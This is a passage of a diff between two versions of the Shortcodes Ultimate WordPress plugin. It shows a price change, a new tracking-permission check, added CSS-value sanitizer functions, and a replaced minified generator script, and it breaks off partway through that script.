esc_html_e( 'Over 50 additional styles for selected shortcodes', 'shortcodes-ultimate' ); ?>\u003C\u002Fli>\n \t\t\t\t\t\t\u003C\u002Ful>\n \t\t\t\t\t\u003C\u002Fdiv>\n \t\t\t\t\u003C\u002Fdiv>\n@@ -72,7 +71,7 @@\n \t\t\t\t\t\u003Cdiv class=\"su-admin-about-upgrade-buy-pricing\">\n \t\t\t\t\t\t\u003Cdiv class=\"su-admin-about-upgrade-buy-pricing-price\">\n \t\t\t\t\t\t\t\u003Cspan class=\"su-admin-about-upgrade-buy-pricing-currency\">$\u003C\u002Fspan>\n-\t\t\t\t\t\t\t\u003Cspan class=\"su-admin-about-upgrade-buy-pricing-value\">39\u003C\u002Fspan>\n+\t\t\t\t\t\t\t\u003Cspan class=\"su-admin-about-upgrade-buy-pricing-value\">49\u003C\u002Fspan>\n \t\t\t\t\t\t\u003C\u002Fdiv>\n \t\t\t\t\t\t\u003Cdiv class=\"su-admin-about-upgrade-buy-pricing-period\">\u003C?php esc_html_e( 'per year', 'shortcodes-ultimate' ); ?>\u003C\u002Fdiv>\n \t\t\t\t\t\u003C\u002Fdiv>\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Ffreemius\u002Fassets\u002Fimg: shortcodes-ultimate.png\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Finc\u002Fcore\u002Fgenerator.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Finc\u002Fcore\u002Fgenerator.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Finc\u002Fcore\u002Fgenerator.php\t2026-02-02 16:19:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Finc\u002Fcore\u002Fgenerator.php\t2026-03-23 19:21:32.000000000 +0000\n@@ -149,7 +149,7 @@\n \t\twp_enqueue_script(\n \t\t\t'shortcodes-ultimate-block-editor',\n \t\t\tplugins_url('includes\u002Fjs\u002Fblock-editor\u002Findex.js', SU_PLUGIN_FILE),\n-\t\t\tarray('wp-element', 'wp-components', 'wp-edit-post', 'wp-plugins', 'wp-blocks', 'wp-data', 'su-generator'),\n+\t\t\tarray('wp-element', 'wp-components', 'wp-edit-post', 'wp-plugins', 'wp-blocks', 'wp-data'),\n \t\t\tSU_PLUGIN_VERSION,\n \t\t\ttrue\n \t\t);\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fclass-shortcodes-ultimate.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fclass-shortcodes-ultimate.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fclass-shortcodes-ultimate.php\t2026-02-02 16:19:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fclass-shortcodes-ultimate.php\t2026-03-23 19:21:32.000000000 +0000\n@@ -268,6 +268,10 @@\n         add_filter( 'su\u002Fdata\u002Fshortcodes', array($this->admin_pro_features, 'add_generator_cta') );\n     }\n \n+    public function freemius_tracking_allowed() {\n+        return su_fs()->is_registered() && su_fs()->is_tracking_allowed();\n+    }\n+\n     \u002F**\n      * Register all of the hooks related to both admin area and public part of\n      * the plugin.\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Ffunctions-helpers.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Ffunctions-helpers.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Ffunctions-helpers.php\t2026-02-02 16:19:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Ffunctions-helpers.php\t2026-03-23 19:21:32.000000000 +0000\n@@ -380,6 +380,32 @@\n \n }\n \n+function su_sanitize_css_property_value( $value ) {\n+\treturn preg_replace( '\u002F[^a-z0-9\\s\\.\\#\\,\\(\\)\\%\\-]\u002Fi', '', $value );\n+}\n+\n+function su_sanitize_css_value( $value, $default = 'none' ) {\n+\n+\t$value = trim( $value );\n+\n+\tif ( '' === $value ) {\n+\t\treturn $default;\n+\t}\n+\n+\t$keywords = array( 'none', 'auto', 'inherit', 'initial', 'unset', 'max-content', 'min-content', 'fit-content' );\n+\n+\tif ( in_array( strtolower( $value ), $keywords, true ) ) {\n+\t\treturn strtolower( $value );\n+\t}\n+\n+\tif ( preg_match( '\u002F^-?\\d+(\\.\\d+)?(px|em|rem|%|vw|vh|vmin|vmax|ch|ex|cm|mm|in|pt|pc)?$\u002Fi', $value ) ) {\n+\t\treturn $value;\n+\t}\n+\n+\treturn $default;\n+\n+}\n+\n \u002F**\n  * Helper to get the current page URL\n  * @return string Current page URL\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fjs\u002Fgenerator\u002Findex.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fjs\u002Fgenerator\u002Findex.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fjs\u002Fgenerator\u002Findex.js\t2026-02-02 16:19:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fjs\u002Fgenerator\u002Findex.js\t2026-03-23 19:21:32.000000000 +0000\n@@ -1,2 +1,2 @@\n-!function n(a,s,o){function i(t,e){if(!s[t]){if(!a[t]){var r=\"function\"==typeof require&&require;if(!e&&r)return r(t,!0);if(u)return u(t,!0);throw(e=new Error(\"Cannot find module '\"+t+\"'\")).code=\"MODULE_NOT_FOUND\",e}r=s[t]={exports:{}},a[t][0].call(r.exports,function(e){return i(a[t][1][e]||e)},r,r.exports,n,a,s,o)}return s[t].exports}for(var u=\"function\"==typeof require&&require,e=0;e\u003Co.length;e++)i(o[e]);return i}({1:[function(e,t,r){var p,n,s,o,i,u,c,l,g,a,d,f;window.SUG={},window.SUG.App=(p=jQuery,n=p(\"#su-generator\"),s=p(\"#su-generator-search\"),o=p(\"#su-generator-filter\"),i=o.children(\"a\"),u=p(\"#su-generator-choices\"),c=u.find(\"span\"),l=p(\"#su-generator-settings\"),g=p(\"#su-compatibility-mode-prefix\"),a=p(\"#su-generator-result\"),d=p(\"#su-generator-selected\"),(f={state:{mceSelection:\"\",target:\"\",wpActiveEditor:null,context:\"\",insertArgs:\"\",preview:{timer:null,request:null}}}).el={body:p(\"body\")},f.init=()=>{var a;i.click(function(e){var t,r=p(this).data(\"filter\");\"all\"===r?c.css({opacity:1}).removeClass(\"su-generator-choice-first\"):(t=new RegExp(r,\"gi\"),c.css({opacity:.2}),c.each(function(){null!==p(this).data(\"group\").match(t)&&p(this).css({opacity:1}).removeClass(\"su-generator-choice-first\")})),e.preventDefault()}),p(\"#su-generator\").on(\"click\",\".su-generator-home\",function(e){s.val(\"\"),l.html(\"\").hide(),n.removeClass(\"su-generator-narrow\"),o.show(),u.show(),c.show(),f.state.mceSelection=\"\",s.focus(),e.preventDefault()}),p(\"#su-generator\").on(\"click\",\".su-generator-close\",function(e){p.magnificPopup.close(),e.preventDefault()}),s.on({focus:function(){p(this).val(\"\"),l.html(\"\").hide(),n.removeClass(\"su-generator-narrow\"),u.show(),c.css({opacity:1}).removeClass(\"su-generator-choice-first\"),o.show()},blur:function(){},keyup:function(e){var t=p(\".su-generator-choice-first:first\"),r=p(this).val(),n=new RegExp(r,\"gi\"),a=0;13===e.keyCode&&0\u003Ct.length&&(e.preventDefault(),p(this).val(\"\").blur(),t.trigger(\"click\")),c.css({opacity:.2}).removeClass(\"su-generator-choice-first\"),c.each(function(){var e=p(this).data(),t=e.shortcode,e=[t,e.name,e.desc,e.group].join(\" \").match(n);null!==e&&(p(this).css({opacity:1}),r===t?(c.removeClass(\"su-generator-choice-first\"),p(this).addClass(\"su-generator-choice-first\"),a=999):e.length>a&&(c.removeClass(\"su-generator-choice-first\"),p(this).addClass(\"su-generator-choice-first\"),a=e.length))}),\"\"===r&&c.removeClass(\"su-generator-choice-first\")}}),c.on(\"click\",function(e){var t=p(this).data(\"shortcode\");p.ajax({type:\"POST\",url:ajaxurl,data:{action:\"su_generator_settings\",shortcode:t},beforeSend:function(){p(\"#su-generator-preview\").hide(),u.hide(),l.addClass(\"su-generator-loading\").show(),n.addClass(\"su-generator-narrow\"),o.hide()},success:function(e){l.removeClass(\"su-generator-loading\"),l.html(e);e=p(\"#su-generator-content\");void 0!==f.state.mceSelection&&\"\"!==f.state.mceSelection&&\"hidden\"!==e.attr(\"type\")&&e.val(f.state.mceSelection),p(\".su-generator-range-picker\").each(function(e){var t=p(this).find(\"input\"),r=t.attr(\"min\"),n=t.attr(\"max\"),a=t.attr(\"step\");t.simpleSlider({snap:!0,step:a,range:[r,n]}),t.show(),t.on(\"keyup blur\",function(e){t.simpleSlider(\"setValue\",t.val())})}),p(\".su-generator-select-color\").each(function(e){p(this).find(\".su-generator-select-color-wheel\").filter(\":first\").farbtastic(\".su-generator-select-color-value:eq(\"+e+\")\"),p(this).find(\".su-generator-select-color-value\").focus(function(){p(\".su-generator-select-color-wheel:eq(\"+e+\")\").show()}),p(this).find(\".su-generator-select-color-value\").blur(function(){p(\".su-generator-select-color-wheel:eq(\"+e+\")\").hide()})}),p(\".su-generator-isp\").each(function(){function n(){var t,e,r,n=\"none\",a=\"\",s=o.val();\"media\"===s?(t=[],i.find(\"span\").each(function(e){t[e]=p(this).data(\"id\")}),0\u003Ct.length&&(a=t.join(\",\"))):\"category\"===s?0\u003C(e=u.val()||[]).length&&(a=e.join(\",\")):\"taxonomy\"===s?(e=c.val()||\"\",r=l.val()||[],\"0\"!==e&&0\u003Cr.length&&(n=\"taxonomy: \"+e+\"\u002F\"+r.join(\",\"))):n=\"0\"===s?\"none\":s,g.val(n=\"\"!==a?s+\": \"+a:n).trigger(\"change\")}var t,r=p(this),o=r.find(\".su-generator-isp-sources\"),a=r.find(\".su-generator-isp-source\"),e=r.find(\".su-generator-isp-add-media\"),i=r.find(\".su-generator-isp-images\"),u=r.find(\".su-generator-isp-categories\"),c=r.find(\".su-generator-isp-taxonomies\"),l=p(\".su-generator-isp-terms\"),g=r.find(\".su-generator-attr\");o.on(\"change\",function(e){var t=p(this).val();e.preventDefault(),a.removeClass(\"su-generator-isp-source-open\"),-1===t.indexOf(\":\")&&r.find(\".su-generator-isp-source-\"+t).addClass(\"su-generator-isp-source-open\"),n()}),i.on(\"click\",\"span i\",function(){p(this).parent(\"span\").css(\"border-color\",\"#f03\").fadeOut(300,function(){p(this).remove(),n()})}),e.click(function(e){e.preventDefault(),void 0!==t&&t.close(),(t=wp.media.frames.su_media_frame_1=wp.media({title:SUGL10n.isp_media_title,library:{type:\"image\"},button:{text:SUGL10n.isp_media_insert},multiple:!0})).on(\"open\",function(){p(\".mfp-wrap\").addClass(\"hidden\")}),t.on(\"close\",function(){p(\".mfp-wrap\").removeClass(\"hidden\")}),t.on(\"select\",function(){var e=t.state().get(\"selection\").toJSON();i.find(\"em\").remove(),p.each(e,function(e){i.append('\u003Cspan data-id=\"'+this.id+'\">\u003Cimg src=\"'+this.url+'\" alt=\"\" \u002F>\u003Ci class=\"sui sui-times\">\u003C\u002Fi>\u003C\u002Fspan>')}),n()}).open()}),i.sortable({revert:200,containment:r,tolerance:\"pointer\",stop:function(){n()}}),u.on(\"change\",n),l.on(\"change\",n),c.on(\"change\",function(){var e,t=p(this).parents(\".su-generator-isp-source\"),r=p(this).val();l.hide().find(\"option\").remove(),n(),\"0\"!==r&&(e=p.ajax({url:ajaxurl,type:\"post\",dataType:\"html\",data:{action:\"su_generator_get_terms\",tax:r,class:\"su-generator-isp-terms\",multiple:!0,size:10},beforeSend:function(){\"object\"==typeof e&&e.abort(),l.html(\"\").attr(\"disabled\",!0).hide(),t.addClass(\"su-generator-loading\")},success:function(e){l.html(e).attr(\"disabled\",!1).show(),t.removeClass(\"su-generator-loading\")}}))})}),p(\".su-generator-upload-button\").each(function(){var t,e=p(this),r=p(this).parents(\".su-generator-attr-container\").find(\"input:text\");e.on(\"click\",function(e){e.preventDefault(),e.stopPropagation(),void 0!==t&&t.close(),(t=wp.media.frames.su_media_frame_2=wp.media({title:SUGL10n.upload_title,button:{text:SUGL10n.upload_insert},multiple:!1})).on(\"select\",function(){var e=t.state().get(\"selection\").first().toJSON();r.val(e.url).trigger(\"change\")}),t.on(\"open\",function(){p(\".mfp-wrap\").addClass(\"hidden\")}),t.on(\"close\",function(){p(\".mfp-wrap\").removeClass(\"hidden\")}),t.open()})}),p(\".su-generator-icon-picker-button\").each(function(){var e=p(this),t=p(this).parents(\".su-generator-attr-container\"),n=t.find(\".su-generator-attr\"),a=t.find(\".su-generator-icon-picker\"),s=a.find(\"input:text\");e.click(function(e){a.toggleClass(\"su-generator-icon-picker-visible\"),s.val(\"\").trigger(\"keyup\"),a.hasClass(\"su-generator-icon-picker-loaded\")||(p.ajax({type:\"post\",url:ajaxurl,data:{action:\"su_generator_get_icons\"},dataType:\"html\",beforeSend:function(){a.addClass(\"su-generator-loading\"),a.addClass(\"su-generator-icon-picker-loaded\")},success:function(e){a.append(e);var r=a.children(\"i\");r.click(function(e){n.val(\"icon: \"+p(this).attr(\"title\")),a.removeClass(\"su-generator-icon-picker-visible\"),n.trigger(\"change\"),e.preventDefault()}),s.on({keyup:function(){var e=p(this).val(),t=new RegExp(e,\"gi\");r.hide(),r.each(function(){null!==p(this).attr(\"title\").match(t)&&p(this).show()})},focus:function(){p(this).val(\"\"),r.show()}}),a.removeClass(\"su-generator-loading\")}}),e.preventDefault())})}),p(\".su-generator-switch\").click(function(e){var t=p(this).parent().children(\"input\");(\"yes\"===t.val()?t.val(\"no\"):t.val(\"yes\")).trigger(\"change\"),e.preventDefault()}),p(\".su-generator-switch-value\").on(\"change\",function(){var e=p(this),t=e.parent().children(\".su-generator-switch\"),e=e.val();\"yes\"===e?t.removeClass(\"su-generator-switch-no\").addClass(\"su-generator-switch-yes\"):\"no\"===e&&t.removeClass(\"su-generator-switch-yes\").addClass(\"su-generator-switch-no\")}),p(\"select#su-generator-attr-taxonomy\").on(\"change\",function(){var e=p(this).val(),t=p(\"select#su-generator-attr-tax_term\");window.su_generator_get_terms=p.ajax({type:\"POST\",url:ajaxurl,data:{action:\"su_generator_get_terms\",tax:e,noselect:!0},dataType:\"html\",beforeSend:function(){\"object\"==typeof window.su_generator_get_terms&&window.su_generator_get_terms.abort(),t.parent().addClass(\"su-generator-loading\")},success:function(e){t.find(\"option\").remove(),t.append(e),t.parent().removeClass(\"su-generator-loading\")}})}),p(\".su-generator-shadow-picker\").each(function(e){var t=p(this),r=t.find(\".su-generator-shadow-picker-field input\"),n=t.find(\".su-generator-sp-hoff\"),a=t.find(\".su-generator-sp-voff\"),s=t.find(\".su-generator-sp-blur\"),o={cnt:t.find(\".su-generator-shadow-picker-color\"),value:t.find(\".su-generator-shadow-picker-color-value\"),wheel:t.find(\".su-generator-shadow-picker-color-wheel\")},i=t.find(\".su-generator-attr\");o.wheel.farbtastic(o.value),o.value.focus(function(){o.wheel.show()}),o.value.blur(function(){o.wheel.hide()}),r.on(\"change blur keyup\",function(){i.val(n.val()+\"px \"+a.val()+\"px \"+s.val()+\"px \"+o.value.val()).trigger(\"change\")}),i.on(\"keyup\",function(){var e=p(this).val().split(\" \");4===e.length&&(n.val(e[0].replace(\"px\",\"\")),a.val(e[1].replace(\"px\",\"\")),s.val(e[2].replace(\"px\",\"\")),o.value.val(e[3]),r.trigger(\"keyup\"))})}),p(\".su-generator-border-picker\").each(function(e){var t=p(this),r=t.find(\".su-generator-border-picker-field input, .su-generator-border-picker-field select\"),n=t.find(\".su-generator-bp-width\"),a=t.find(\".su-generator-bp-style\"),s={cnt:t.find(\".su-generator-border-picker-color\"),value:t.find(\".su-generator-border-picker-color-value\"),wheel:t.find(\".su-generator-border-picker-color-wheel\")},o=t.find(\".su-generator-attr\");s.wheel.farbtastic(s.value),s.value.focus(function(){s.wheel.show()}),s.value.blur(function(){s.wheel.hide()}),r.on(\"change blur keyup\",function(){o.val(n.val()+\"px \"+a.val()+\" \"+s.value.val()).trigger(\"change\")}),o.on(\"keyup\",function(){var e=p(this).val().split(\" \");3===e.length&&(n.val(e[0].replace(\"px\",\"\")),a.val(e[1]),s.value.val(e[2]),r.trigger(\"keyup\"))})}),l.find(\".su-generator-attr\").on(\"change keyup blur\",function(){var e=p(this).parents(\".su-generator-attr-container\"),t=e.data(\"default\");p(this).val()!=t?e.removeClass(\"su-generator-skip\"):e.addClass(\"su-generator-skip\")}),p(\".su-generator-set-value\").click(function(e){p(this).parents(\".su-generator-attr-container\").find(\"input\").val(p(this).text()).trigger(\"change\")}),d.val(t),p.ajax({type:\"GET\",url:ajaxurl,data:{action:\"su_generator_get_preset\",id:\"last_used\",shortcode:t,nonce:p(\"#su_generator_presets_nonce\").val()},beforeSend:function(){},success:function(e){f.setSettings(e);e=p(\"#su-generator-content\");void 0!==f.state.mceSelection&&\"\"!==f.state.mceSelection&&\"hidden\"!==e.attr(\"type\")&&e.val(f.state.mceSelection)},dataType:\"json\"})},dataType:\"html\"})}),p(\"#su-generator\").on(\"click\",\".su-generator-insert\",f.insertShortcode),p(\"#su-generator\").on(\"click\",\".su-generator-toggle-preview\",function(e){var t=p(\"#su-generator-preview\");p(this).hide(),t.addClass(\"su-generator-loading\").show(),l.find(\"input, textarea, select\").on(\"change keyup blur\",function(){f.updatePreview()}),f.updatePreview(!0),e.preventDefault()}),p(\"#su-generator\").on(\"mouseenter click\",\".su-generator-presets\",function(){clearTimeout(a),p(\".su-gp-popup\").show()}),p(\"#su-generator\").on(\"mouseleave\",\".su-generator-presets\",function(){a=window.setTimeout(function(){p(\".su-gp-popup\").fadeOut(200)},600)}),p(\"#su-generator\").on(\"click\",\".su-gp-new\",function(e){p(this).parents(\".su-generator-presets\");var t=p(\".su-gp-list\"),r=(new Date).getTime(),n=prompt(SUGL10n.presets_prompt_msg,SUGL10n.presets_prompt_value);\"\"!==n&&null!==n&&(t.find(\"b\").hide(),t.append('\u003Cspan data-id=\"'+r+'\">\u003Cem>'+n+'\u003C\u002Fem>\u003Ci class=\"sui sui-times\">\u003C\u002Fi>\u003C\u002Fspan>'),f.addPreset(r,n))}),p(\"#su-generator\").on(\"click\",\".su-gp-list span\",function(e){var t=p(\".su-generator-presets\").data(\"shortcode\"),r=p(this).data(\"id\"),n=p(\".su-generator-insert\");p(\".su-gp-popup\").hide(),clearTimeout(a),p.ajax({type:\"GET\",url:ajaxurl,data:{action:\"su_generator_get_preset\",id:r,shortcode:t,nonce:p(\"#su_generator_presets_nonce\").val()},beforeSend:function(){n.addClass(\"button-primary-disabled\").attr(\"disabled\",!0)},success:function(e){n.removeClass(\"button-primary-disabled\").attr(\"disabled\",!1),f.setSettings(e)},dataType:\"json\"}),e.preventDefault(),e.stopPropagation()}),p(\"#su-generator\").on(\"click\",\".su-gp-list i\",function(e){var t=p(this).parents(\".su-gp-list\"),r=p(this).parent(\"span\"),n=r.data(\"id\");r.remove(),t.find(\"span\").length\u003C1&&t.find(\"b\").show(),f.removePreset(n),e.stopPropagation(),e.preventDefault()})},f.addPreset=function(e,t){var r=p(\".su-generator-presets\").data(\"shortcode\"),n=f.getSettings();p.ajax({type:\"POST\",url:ajaxurl,data:{action:\"su_generator_add_preset\",id:e,name:t,shortcode:r,settings:n,nonce:p(\"#su_generator_presets_nonce\").val()}})},f.removePreset=function(e){var t=p(\".su-generator-presets\").data(\"shortcode\");p.ajax({type:\"POST\",url:ajaxurl,data:{action:\"su_generator_remove_preset\",id:e,shortcode:t,nonce:p(\"#su_generator_presets_nonce\").val()}})},f.parseSettings=function(){var e=\"on\"===p(\"#su-generator-option-skip\").val()?\"#su-generator-settings .su-generator-attr-container:not(.su-generator-skip) .su-generator-attr\":\"#su-generator-settings .su-generator-attr-container .su-generator-attr\",t=d.val(),r=g.val(),e=p(e),n=p(\"textarea#su-generator-content\"),n=n.length?n.val():\"false\",a=new String(\"\");return a+=\"[\"+r+t,e.each(function(){var e=p(this),t=\"\";null==(t=(e.is(\"select\")?e.find(\"option:selected\"):e).val())?t=\"\":\"array\"==typeof t&&(t=t.join(\",\")),\"\"!==t&&(a+=\" \"+p(this).attr(\"name\")+'=\"'+p(this).val().toString().replace(\u002F\"\u002Fgi,\"'\")+'\"')}),a+=\"]\",\"false\"!=n&&(a+=n+\"[\u002F\"+r+t+\"]\"),a},f.getSettings=function(){d.val();var e=p(\"#su-generator-settings .su-generator-attr\"),t=p(\"textarea#su-generator-content\"),t=t.length?t.val():\"false\",a={};return e.each(function(e){var t=p(this),r=\"\",n=t.attr(\"name\"),r=(t.is(\"select\")?t.find(\"option:selected\"):t).val();a[n]=r=null==r?\"\":r}),a.content=t.toString(),a},f.setSettings=function(r){var e=p(\"#su-generator-settings .su-generator-attr\"),t=p(\"#su-generator-content\");e.each(function(){var e=p(this),t=e.attr(\"name\");r.hasOwnProperty(t)&&(e.val(r[t]),e.trigger(\"keyup\").trigger(\"change\").trigger(\"blur\"))}),r.hasOwnProperty(\"content\")&&t.val(r.content).trigger(\"keyup\").trigger(\"change\").trigger(\"blur\"),f.updatePreview()},f.updatePreview=function(e){var t=p(\"#su-generator-preview\"),r=f.parseSettings(),n=a.text();e=e||!1,t.is(\":visible\")&&(r!==n||e)&&(window.clearTimeout(f.state.preview.timer),f.state.preview.timer=window.setTimeout(function(){f.state.preview.request=p.ajax({type:\"POST\",url:ajaxurl,cache:!1,data:{action:\"su_generator_preview\",shortcode:r,nonce:p(\"#su_generator_preview_nonce\").val()},beforeSend:function(){f.state.preview.request&&f.state.preview.request.abort(),t.addClass(\"su-generator-loading\").html(\"\")},success:function(e){t.html(e).removeClass(\"su-generator-loading\")},dataType:\"html\"})},300),a.text(r))},f.insert=function(e,t){var r;\"string\"==typeof e&&\"object\"==typeof t&&(f.state.context=e,r=(f.state.insertArgs=t).shortcode||\"\",(e={type:\"inline\",alignTop:!0,closeOnBgClick:!1,mainClass:\"su-generator-mfp\",items:{src:\"#su-generator\"},callbacks:{}}).callbacks.open=()=>{r?c.filter('[data-shortcode=\"'.concat(r,'\"]')).trigger(\"click\"):window.setTimeout(()=>s.focus(),200),\"undefined\"!=typeof tinyMCE&&null!=tinyMCE.activeEditor&&tinyMCE.activeEditor.hasOwnProperty(\"selection\")&&(f.state.mceSelection=tinyMCE.activeEditor.selection.getContent({format:\"text\"}))},e.callbacks.close=()=>{s.val(\"\"),l.html(\"\").hide(),n.removeClass(\"su-generator-narrow\"),o.show(),u.show(),c.show(),f.state.mceSelection=\"\"},p.magnificPopup.open(e))},f.insertShortcode=function(){var e,t,r=f.parseSettings();f.addPreset(\"last_used\",SUGL10n.last_used),p.magnificPopup.close(),a.text(r),\"html\"===f.state.context&&(e=document.getElementById(f.state.insertArgs.editorID),f.insertAtCaret(e,r)),\"classic\"===f.state.context&&window.wp.media.editor.insert(r),\"block\"===f.state.context&&((e=f.state.insertArgs.props).attributes.hasOwnProperty(\"content\")?e.setAttributes({content:e.attributes.content+r}):\"core\u002Fshortcode\"===e.name&&(t=e.attributes.hasOwnProperty(\"text\")?e.attributes.text:\"\",e.setAttributes({text:t+r})))},f.insertAtCaret=(e,t)=>{var r=e.selectionStart;e.value=e.value.substring(0,r)+t+e.value.substring(r),e.focus(),e.selectionStart=r+t.length},{init:f.init,insert:f.insert}),jQuery(document).ready(window.SUG.App.init)},{}]},{},[1]);\n+!function n(a,s,o){function i(t,e){if(!s[t]){if(!a[t]){var r=\"function\"==typeof require&&require;if(!e&&r)return r(t,!0);if(u)return u(t,!0);throw(e=new Error(\"Cannot find module '\"+t+\"'\")).code=\"MODULE_NOT_FOUND\",e}r=s[t]={exports:{}},a[t][0].call(r.exports,function(e){return i(a[t][1][e]||e)},r,r.exports,n,a,s,o)}return s[t].exports}for(var u=\"function\"==typeof require&&require,e=0;e\u003Co.length;e++)i(o[e]);return i}({1:[function(e,t,r){var p,n,s,o,i,u,c,l,g,a,d,f;window.SUG={},window.SUG.App=(p=jQuery,n=p(\"#su-generator\"),s=p(\"#su-generator-search\"),o=p(\"#su-generator-filter\"),i=o.children(\"a\"),u=p(\"#su-generator-choices\"),c=u.find(\"span\"),l=p(\"#su-generator-settings\"),g=p(\"#su-compatibility-mode-prefix\"),a=p(\"#su-generator-result\"),d=p(\"#su-generator-selected\"),(f={state:{mceSelection:\"\",target:\"\",wpActiveEditor:null,context:\"\",insertArgs:\"\",preview:{timer:null,request:null}}}).el={body:p(\"body\")},f.init=()=>{var a;i.click(function(e){var t,r=p(this).data(\"filter\");\"all\"===r?c.css({opacity:1}).removeClass(\"su-generator-choice-first\"):(t=new RegExp(r,\"gi\"),c.css({opacity:.2}),c.each(function(){null!==p(this).data(\"group\").match(t)&&p(this).css({opacity:1}).removeClass(\"su-generator-choice-first\")})),e.preventDefault()}),p(\"#su-generator\").on(\"click\",\".su-generator-home\",function(e){s.val(\"\"),l.html(\"\").hide(),n.removeClass(\"su-generator-narrow\"),o.show(),u.show(),c.show(),f.state.mceSelection=\"\",s.focus(),e.preventDefault()}),p(\"#su-generator\").on(\"click\",\".su-generator-close\",function(e){p.magnificPopup.close(),e.preventDefault()}),s.on({focus:function(){p(this).val(\"\"),l.html(\"\").hide(),n.removeClass(\"su-generator-narrow\"),u.show(),c.css({opacity:1}).removeClass(\"su-generator-choice-first\"),o.show()},blur:function(){},keyup:function(e){var t=p(\".su-generator-choice-first:first\"),r=p(this).val(),n=new RegExp(r,\"gi\"),a=0;13===e.keyCode&&0\u003Ct.length&&(e.preventDefault(),p(this).val(\"\").blur(),t.trigger(\"click\")),c.css({opacity:.2}).removeClass(\"su-generator-choice-first\"),c.each(function(){var e=p(this).data(),t=e.shortcode,e=[t,e.name,e.desc,e.group].join(\" \").match(n);null!==e&&(p(this).css({opacity:1}),r===t?(c.removeClass(\"su-generator-choice-first\"),p(this).addClass(\"su-generator-choice-first\"),a=999):e.length>a&&(c.removeClass(\"su-generator-choice-first\"),p(this).addClass(\"su-generator-choice-first\"),a=e.length))}),\"\"===r&&c.removeClass(\"su-generator-choice-first\")}}),c.on(\"click\",function(e){var t=p(this).data(\"shortcode\");p.ajax({type:\"POST\",url:ajaxurl,data:{action:\"su_generator_settings\",shortcode:t},beforeSend:function(){p(\"#su-generator-preview\").hide(),u.hide(),l.addClass(\"su-generator-loading\").show(),n.addClass(\"su-generator-narrow\"),o.hide()},success:function(e){l.removeClass(\"su-generator-loading\"),l.html(e);e=p(\"#su-generator-content\");void 0!==f.state.mceSelection&&\"\"!==f.state.mceSelection&&\"hidden\"!==e.attr(\"type\")&&e.val(f.state.mceSelection),p(\".su-generator-range-picker\").each(function(e){var t=p(this).find(\"input\"),r=t.attr(\"min\"),n=t.attr(\"max\"),a=t.attr(\"step\");t.simpleSlider({snap:!0,step:a,range:[r,n]}),t.show(),t.on(\"keyup blur\",function(e){t.simpleSlider(\"setValue\",t.val())})}),p(\".su-generator-select-color\").each(function(e){p(this).find(\".su-generator-select-color-wheel\").filter(\":first\").farbtastic(\".su-generator-select-color-value:eq(\"+e+\")\"),p(this).find(\".su-generator-select-color-value\").focus(function(){p(\".su-generator-select-color-wheel:eq(\"+e+\")\").show()}),p(this).find(\".su-generator-select-color-value\").blur(function(){p(\".su-generator-select-color-wheel:eq(\"+e+\")\").hide()})}),p(\".su-generator-isp\").each(function(){function n(){var t,e,r,n=\"none\",a=\"\",s=o.val();\"media\"===s?(t=[],i.find(\"span\").each(function(e){t[e]=p(this).data(\"id\")}),0\u003Ct.length&&(a=t.join(\",\"))):\"category\"===s?0\u003C(e=u.val()||[]).length&&(a=e.join(\",\")):\"taxonomy\"===s?(e=c.val()||\"\",r=l.val()||[],\"0\"!==e&&0\u003Cr.length&&(n=\"taxonomy: \"+e+\"\u002F\"+r.join(\",\"))):n=\"0\"===s?\"none\":s,g.val(n=\"\"!==a?s+\": \"+a:n).trigger(\"change\")}var 